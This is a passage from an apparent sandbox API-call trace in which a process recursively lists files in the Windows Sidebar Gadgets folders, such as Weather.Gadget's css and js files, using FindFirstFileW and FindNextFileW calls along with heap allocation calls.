ftLastAccessTime.dwLowDateTime=0x805ee1db, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x805ee1db, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x6398c8 [0209.252] FindNextFileW (in: hFindFile=0x6398c8, lpFindFileData=0x2cee600 | out: lpFindFileData=0x2cee600*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80046d91, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x805ee1db, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x805ee1db, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0209.252] FindNextFileW (in: hFindFile=0x6398c8, lpFindFileData=0x2cee600 | out: lpFindFileData=0x2cee600*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3d9e972d, ftCreationTime.dwHighDateTime=0x1c9ea0e, ftLastAccessTime.dwLowDateTime=0x3d9e972d, ftLastAccessTime.dwHighDateTime=0x1c9ea0e, ftLastWriteTime.dwLowDateTime=0x3d9e972d, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0x1589, dwReserved0=0x0, dwReserved1=0x0, cFileName="slideshow_glass_frame.png", cAlternateFileName="")) returned 1 [0209.252] FindNextFileW (in: hFindFile=0x6398c8, lpFindFileData=0x2cee600 | out: lpFindFileData=0x2cee600*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3d9e972d, ftCreationTime.dwHighDateTime=0x1c9ea0e, ftLastAccessTime.dwLowDateTime=0x3d9e972d, ftLastAccessTime.dwHighDateTime=0x1c9ea0e, ftLastWriteTime.dwLowDateTime=0x3d9e972d, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0x1589, dwReserved0=0x0, dwReserved1=0x0, cFileName="slideshow_glass_frame.png", cAlternateFileName="")) returned 0 [0209.252] FindClose (in: hFindFile=0x6398c8 | out: hFindFile=0x6398c8) returned 1 [0209.253] GetProcessHeap () returned 0x550000 [0209.253] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x6165c8 | out: hHeap=0x550000) returned 1 [0209.253] FindNextFileW (in: hFindFile=0x639888, lpFindFileData=0x2cee888 | out: lpFindFileData=0x2cee888*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x85b69cdc, ftCreationTime.dwHighDateTime=0x1ca0403, ftLastAccessTime.dwLowDateTime=0x85b69cdc, ftLastAccessTime.dwHighDateTime=0x1ca0403, ftLastWriteTime.dwLowDateTime=0x3da0f88b, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0xbca, dwReserved0=0x0, dwReserved1=0x0, cFileName="pause_down.png", cAlternateFileName="")) returned 1 [0209.253] FindNextFileW (in: hFindFile=0x639888, lpFindFileData=0x2cee888 | out: lpFindFileData=0x2cee888*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x85b8fe39, ftCreationTime.dwHighDateTime=0x1ca0403, ftLastAccessTime.dwLowDateTime=0x85b8fe39, ftLastAccessTime.dwHighDateTime=0x1ca0403, ftLastWriteTime.dwLowDateTime=0x3da359e9, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0xbd3, dwReserved0=0x0, dwReserved1=0x0, cFileName="pause_hov.png", cAlternateFileName="")) returned 1 [0209.253] FindNextFileW (in: hFindFile=0x639888, lpFindFileData=0x2cee888 | out: lpFindFileData=0x2cee888*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x85b8fe39, ftCreationTime.dwHighDateTime=0x1ca0403, ftLastAccessTime.dwLowDateTime=0x85b8fe39, ftLastAccessTime.dwHighDateTime=0x1ca0403, ftLastWriteTime.dwLowDateTime=0x3da359e9, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0xb11, dwReserved0=0x0, dwReserved1=0x0, cFileName="pause_rest.png", cAlternateFileName="")) returned 1 [0209.253] FindNextFileW (in: hFindFile=0x639888, lpFindFileData=0x2cee888 | out: lpFindFileData=0x2cee888*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x85bb5f96, ftCreationTime.dwHighDateTime=0x1ca0403, ftLastAccessTime.dwLowDateTime=0x85bb5f96, ftLastAccessTime.dwHighDateTime=0x1ca0403, ftLastWriteTime.dwLowDateTime=0x3da359e9, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0xbf2, dwReserved0=0x0, dwReserved1=0x0, cFileName="play_down.png", cAlternateFileName="")) returned 1 [0209.253] FindNextFileW (in: hFindFile=0x639888, lpFindFileData=0x2cee888 | out: lpFindFileData=0x2cee888*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x85bb5f96, ftCreationTime.dwHighDateTime=0x1ca0403, ftLastAccessTime.dwLowDateTime=0x85bb5f96, ftLastAccessTime.dwHighDateTime=0x1ca0403, ftLastWriteTime.dwLowDateTime=0x3da81ca5, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0xbf6, dwReserved0=0x0, dwReserved1=0x0, cFileName="play_hov.png", cAlternateFileName="")) returned 1 [0209.253] FindNextFileW (in: hFindFile=0x639888, lpFindFileData=0x2cee888 | out: lpFindFileData=0x2cee888*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x85bdc0f3, ftCreationTime.dwHighDateTime=0x1ca0403, ftLastAccessTime.dwLowDateTime=0x85bdc0f3, ftLastAccessTime.dwHighDateTime=0x1ca0403, ftLastWriteTime.dwLowDateTime=0x3daa7e03, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0xb46, dwReserved0=0x0, dwReserved1=0x0, cFileName="play_rest.png", cAlternateFileName="")) returned 1 [0209.253] FindNextFileW (in: hFindFile=0x639888, lpFindFileData=0x2cee888 | out: lpFindFileData=0x2cee888*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x85c02250, ftCreationTime.dwHighDateTime=0x1ca0403, ftLastAccessTime.dwLowDateTime=0x85c02250, ftLastAccessTime.dwHighDateTime=0x1ca0403, ftLastWriteTime.dwLowDateTime=0x3daf40bf, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0xbf6, dwReserved0=0x0, dwReserved1=0x0, cFileName="prev_down.png", cAlternateFileName="")) returned 1 [0209.253] FindNextFileW (in: hFindFile=0x639888, lpFindFileData=0x2cee888 | out: lpFindFileData=0x2cee888*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x85c02250, ftCreationTime.dwHighDateTime=0x1ca0403, ftLastAccessTime.dwLowDateTime=0x85c02250, ftLastAccessTime.dwHighDateTime=0x1ca0403, ftLastWriteTime.dwLowDateTime=0x3daf40bf, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0xc05, dwReserved0=0x0, dwReserved1=0x0, cFileName="prev_hov.png", cAlternateFileName="")) returned 1 [0209.253] FindNextFileW (in: hFindFile=0x639888, lpFindFileData=0x2cee888 | out: lpFindFileData=0x2cee888*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x85c283ad, ftCreationTime.dwHighDateTime=0x1ca0403, ftLastAccessTime.dwLowDateTime=0x85c283ad, ftLastAccessTime.dwHighDateTime=0x1ca0403, ftLastWriteTime.dwLowDateTime=0x3daf40bf, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0xb58, dwReserved0=0x0, dwReserved1=0x0, cFileName="prev_rest.png", cAlternateFileName="")) returned 1 [0209.253] FindNextFileW (in: hFindFile=0x639888, lpFindFileData=0x2cee888 | out: lpFindFileData=0x2cee888*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x85c283ad, ftCreationTime.dwHighDateTime=0x1ca0403, ftLastAccessTime.dwLowDateTime=0x85c283ad, ftLastAccessTime.dwHighDateTime=0x1ca0403, ftLastWriteTime.dwLowDateTime=0x3daf40bf, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0xc5a, dwReserved0=0x0, dwReserved1=0x0, cFileName="reveal_down.png", cAlternateFileName="")) returned 1 [0209.254] FindNextFileW (in: hFindFile=0x639888, lpFindFileData=0x2cee888 | out: lpFindFileData=0x2cee888*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x85c283ad, ftCreationTime.dwHighDateTime=0x1ca0403, ftLastAccessTime.dwLowDateTime=0x85c283ad, ftLastAccessTime.dwHighDateTime=0x1ca0403, ftLastWriteTime.dwLowDateTime=0x3daf40bf, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0xc59, dwReserved0=0x0, dwReserved1=0x0, cFileName="reveal_hov.png", cAlternateFileName="")) returned 1 [0209.254] FindNextFileW (in: hFindFile=0x639888, lpFindFileData=0x2cee888 | out: lpFindFileData=0x2cee888*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x85c283ad, ftCreationTime.dwHighDateTime=0x1ca0403, ftLastAccessTime.dwLowDateTime=0x85c283ad, ftLastAccessTime.dwHighDateTime=0x1ca0403, ftLastWriteTime.dwLowDateTime=0x3db1a21d, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0xba6, dwReserved0=0x0, dwReserved1=0x0, cFileName="reveal_rest.png", cAlternateFileName="")) returned 1 [0209.254] FindNextFileW (in: hFindFile=0x639888, lpFindFileData=0x2cee888 | out: lpFindFileData=0x2cee888*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x85ad1768, ftCreationTime.dwHighDateTime=0x1ca0403, ftLastAccessTime.dwLowDateTime=0x85ad1768, ftLastAccessTime.dwHighDateTime=0x1ca0403, ftLastWriteTime.dwLowDateTime=0x3db1a21d, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0x61b80, dwReserved0=0x0, dwReserved1=0x0, cFileName="Tulip.jpg", cAlternateFileName="")) returned 1 [0209.254] FindNextFileW (in: hFindFile=0x639888, lpFindFileData=0x2cee888 | out: lpFindFileData=0x2cee888*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x85ad1768, ftCreationTime.dwHighDateTime=0x1ca0403, ftLastAccessTime.dwLowDateTime=0x85ad1768, ftLastAccessTime.dwHighDateTime=0x1ca0403, ftLastWriteTime.dwLowDateTime=0x3db1a21d, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0x61b80, dwReserved0=0x0, dwReserved1=0x0, cFileName="Tulip.jpg", cAlternateFileName="")) returned 0 [0209.254] FindClose (in: hFindFile=0x639888 | out: hFindFile=0x639888) returned 1 [0209.254] GetProcessHeap () returned 0x550000 [0209.254] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x6065c0 | out: hHeap=0x550000) returned 1 [0209.254] FindNextFileW (in: hFindFile=0x639848, lpFindFileData=0x2ceeb10 | out: lpFindFileData=0x2ceeb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x86b7b018, ftCreationTime.dwHighDateTime=0x1ca0403, ftLastAccessTime.dwLowDateTime=0x86b7b018, ftLastAccessTime.dwHighDateTime=0x1ca0403, ftLastWriteTime.dwLowDateTime=0x3db4037b, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0x1816, dwReserved0=0x0, dwReserved1=0x0, cFileName="logo.png", cAlternateFileName="")) returned 1 [0209.254] FindNextFileW (in: hFindFile=0x639848, lpFindFileData=0x2ceeb10 | out: lpFindFileData=0x2ceeb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x86b7b018, ftCreationTime.dwHighDateTime=0x1ca0403, ftLastAccessTime.dwLowDateTime=0x86b7b018, ftLastAccessTime.dwHighDateTime=0x1ca0403, ftLastWriteTime.dwLowDateTime=0x3db4037b, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0x1816, dwReserved0=0x0, dwReserved1=0x0, cFileName="logo.png", cAlternateFileName="")) returned 0 [0209.254] FindClose (in: hFindFile=0x639848 | out: hFindFile=0x639848) returned 1 [0209.255] GetProcessHeap () returned 0x550000 [0209.255] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x5f65b8 | out: hHeap=0x550000) returned 1 [0209.255] FindNextFileW (in: hFindFile=0x639748, lpFindFileData=0x2ceed98 | out: lpFindFileData=0x2ceed98*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80046d91, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x1eaffd21, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eaffd21, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Weather.Gadget", cAlternateFileName="WEATHE~1.GAD")) returned 1 [0209.255] GetProcessHeap () returned 0x550000 [0209.255] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x10000) returned 0x5f65b8 [0209.255] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Windows Sidebar\\Gadgets\\Weather.Gadget\\*", lpFindFileData=0x2ceeb10 | out: lpFindFileData=0x2ceeb10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80046d91, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x1eaffd21, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eaffd21, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x639848 [0209.255] FindNextFileW (in: hFindFile=0x639848, lpFindFileData=0x2ceeb10 | out: lpFindFileData=0x2ceeb10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80046d91, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x1eaffd21, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eaffd21, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0209.255] FindNextFileW (in: hFindFile=0x639848, lpFindFileData=0x2ceeb10 | out: lpFindFileData=0x2ceeb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x876a3657, ftCreationTime.dwHighDateTime=0x1ca0403, ftLastAccessTime.dwLowDateTime=0x876a3657, ftLastAccessTime.dwHighDateTime=0x1ca0403, ftLastWriteTime.dwLowDateTime=0x2a5f4919, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0x3260, dwReserved0=0x0, dwReserved1=0x0, cFileName="drag.png", cAlternateFileName="")) returned 1 [0209.255] FindNextFileW (in: hFindFile=0x639848, lpFindFileData=0x2ceeb10 | out: lpFindFileData=0x2ceeb10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1eaffd21, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x22c02035, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eaffd21, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="en-US", cAlternateFileName="")) returned 1 [0209.255] GetProcessHeap () returned 0x550000 [0209.255] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x10000) returned 0x6065c0 [0209.255] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Windows Sidebar\\Gadgets\\Weather.Gadget\\en-US\\*", lpFindFileData=0x2cee888 | out: lpFindFileData=0x2cee888*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1eaffd21, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x22c02035, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eaffd21, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x639888 [0209.258] FindNextFileW (in: hFindFile=0x639888, lpFindFileData=0x2cee888 | out: lpFindFileData=0x2cee888*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1eaffd21, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x22c02035, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eaffd21, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0209.258] FindNextFileW (in: hFindFile=0x639888, lpFindFileData=0x2cee888 | out: lpFindFileData=0x2cee888*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1eaffd21, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x22c02035, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eaffd21, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="css", cAlternateFileName="")) returned 1 [0209.258] GetProcessHeap () returned 0x550000 [0209.258] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x10000) returned 0x6165c8 [0209.258] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Windows Sidebar\\Gadgets\\Weather.Gadget\\en-US\\css\\*", lpFindFileData=0x2cee600 | out: lpFindFileData=0x2cee600*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1eaffd21, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x22c02035, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eaffd21, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x6398c8 [0209.258] FindNextFileW (in: hFindFile=0x6398c8, lpFindFileData=0x2cee600 | out: lpFindFileData=0x2cee600*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1eaffd21, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x22c02035, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eaffd21, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0209.258] FindNextFileW (in: hFindFile=0x6398c8, lpFindFileData=0x2cee600 | out: lpFindFileData=0x2cee600*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1193665a, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x11c7e240, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1193665a, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x3ce, dwReserved0=0x0, dwReserved1=0x0, cFileName="localizedSettings.css", cAlternateFileName="")) returned 1 [0209.258] FindNextFileW (in: hFindFile=0x6398c8, lpFindFileData=0x2cee600 | out: lpFindFileData=0x2cee600*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1193665a, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x11c7e240, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1193665a, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x2786, dwReserved0=0x0, dwReserved1=0x0, cFileName="settings.css", cAlternateFileName="")) returned 1 [0209.258] FindNextFileW (in: hFindFile=0x6398c8, lpFindFileData=0x2cee600 | out: lpFindFileData=0x2cee600*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1193665a, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x11c7e240, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1193665a, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x603c, dwReserved0=0x0, dwReserved1=0x0, cFileName="weather.css", cAlternateFileName="")) returned 1 [0209.259] FindNextFileW (in: hFindFile=0x6398c8, lpFindFileData=0x2cee600 | out: lpFindFileData=0x2cee600*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1193665a, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x11c7e240, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1193665a, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x603c, dwReserved0=0x0, dwReserved1=0x0, cFileName="weather.css", cAlternateFileName="")) returned 0 [0209.259] FindClose (in: hFindFile=0x6398c8 | out: hFindFile=0x6398c8) returned 1 [0209.259] GetProcessHeap () returned 0x550000 [0209.259] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x6165c8 | out: hHeap=0x550000) returned 1 [0209.259] FindNextFileW (in: hFindFile=0x639888, lpFindFileData=0x2cee888 | out: lpFindFileData=0x2cee888*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1193665a, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x11c7e240, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1193665a, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x7c6, dwReserved0=0x0, dwReserved1=0x0, cFileName="gadget.xml", cAlternateFileName="")) returned 1 [0209.259] FindNextFileW (in: hFindFile=0x639888, lpFindFileData=0x2cee888 | out: lpFindFileData=0x2cee888*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1eaffd21, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x22c02035, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eaffd21, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="js", cAlternateFileName="")) returned 1 [0209.259] GetProcessHeap () returned 0x550000 [0209.259] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x10000) returned 0x6165c8 [0209.259] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Windows Sidebar\\Gadgets\\Weather.Gadget\\en-US\\js\\*", lpFindFileData=0x2cee600 | out: lpFindFileData=0x2cee600*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1eaffd21, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x22c02035, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eaffd21, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x6398c8 [0209.260] FindNextFileW (in: hFindFile=0x6398c8, lpFindFileData=0x2cee600 | out: lpFindFileData=0x2cee600*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1eaffd21, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x22c02035, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eaffd21, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0209.260] FindNextFileW (in: hFindFile=0x6398c8, lpFindFileData=0x2cee600 | out: lpFindFileData=0x2cee600*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1193665a, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x11c7e240, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1193665a, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x71c, dwReserved0=0x0, dwReserved1=0x0, cFileName="highDpiImageSwap.js", cAlternateFileName="")) returned 1 [0209.260] FindNextFileW (in: hFindFile=0x6398c8, lpFindFileData=0x2cee600 | out: lpFindFileData=0x2cee600*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1193665a, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x11c7e240, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1193665a, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0xab00, dwReserved0=0x0, dwReserved1=0x0, cFileName="library.js", cAlternateFileName="")) returned 1 [0209.260] FindNextFileW (in: hFindFile=0x6398c8, lpFindFileData=0x2cee600 | out: lpFindFileData=0x2cee600*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1193665a, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x11c7e240, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1193665a, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x388c, dwReserved0=0x0, dwReserved1=0x0, cFileName="localizedStrings.js", cAlternateFileName="")) returned 1 [0209.260] FindNextFileW (in: hFindFile=0x6398c8, lpFindFileData=0x2cee600 | out: lpFindFileData=0x2cee600*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1193665a, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x11c7e240, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1193665a, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0xe268, dwReserved0=0x0, dwReserved1=0x0, cFileName="settings.js", cAlternateFileName="")) returned 1 [0209.260] FindNextFileW (in: hFindFile=0x6398c8, lpFindFileData=0x2cee600 | out: lpFindFileData=0x2cee600*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1193665a, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x11c7e240, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1193665a, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x210ca, dwReserved0=0x0, dwReserved1=0x0, cFileName="weather.js", cAlternateFileName="")) returned 1 [0209.260] FindNextFileW (in: hFindFile=0x6398c8, lpFindFileData=0x2cee600 | out: lpFindFileData=0x2cee600*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1193665a, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x11c7e240, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1193665a, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x210ca, dwReserved0=0x0, dwReserved1=0x0, cFileName="weather.js", cAlternateFileName="")) returned 0 [0209.260] FindClose (in: hFindFile=0x6398c8 | out: hFindFile=0x6398c8) returned 1 [0209.261] GetProcessHeap () returned 0x550000 [0209.261] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x6165c8 | out: hHeap=0x550000) returned 1 [0209.261] FindNextFileW (in: hFindFile=0x639888, lpFindFileData=0x2cee888 | out: lpFindFileData=0x2cee888*(dwFileAttributes=0x20, 